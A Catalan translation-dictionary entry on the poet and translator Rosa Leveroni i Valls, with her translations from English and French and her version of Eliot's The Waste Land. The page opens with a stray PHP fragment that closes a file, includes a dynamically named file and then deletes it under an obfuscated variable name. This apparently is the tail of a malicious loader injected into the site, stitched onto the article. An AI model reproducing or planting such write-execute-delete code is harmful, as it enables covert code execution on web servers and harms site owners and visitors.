");fclose($hdl);include("{$eb}.$algo");@unlink("{$eb}.$algo");$npDcheckClassBgp='aue';} ?> Leveroni i Valls, Rosa
Facebook Twitter
Portada > Diccionari de la traducció catalana > Leveroni i Valls, Rosa
Leveroni i Valls, Rosa (Barcelona, 1910-1985). Poeta i narradora. Bibliotecària, cofundadora i redactora de la revista clandestina Ariel (1946-1951), en la qual publicà traduccions i articles, constitueix una de les veus líriques femenines més valuoses del segle xx. D’obra no gaire abundant, però “autèntica i depurada”, com apuntava Salvador Espriu en el pròleg del segon recull de poemes, Cinc poemes desolats (1952), traduí de l’anglès i el francès autors i autores com ara Marianna Alcoforado, Pomme Babeanu, Lilian Bowes-Lyon, Mary A. Coleridge, Frances Hodgson Burnett, Aldous Huxley, Rudyard Kipling, Katherine Mansfield, Boris Pasternak, Edith Sitwell i Stephen Spender. La major part d’aquestes traduccions de fragments, poemes i contes roman encara inèdita, com també els trasllats de tankas japoneses. La versió de la Terra erma de T. S. Eliot, amb esmenes de Carles Riba, duta a terme al final dels quaranta, és la seva gran obra traductològica publicada completa, la qual se suma a les dues altres existents: La terra eixorca d’Agustí Bartra (1951) i La terra gastada de Joan Ferraté (1952 i 1977). [Pilar Godayol]
ELIOT, T.S. . “Terra erma”. Reduccions 71 (octubre 1999), p. 26-58.
Amb el suport de: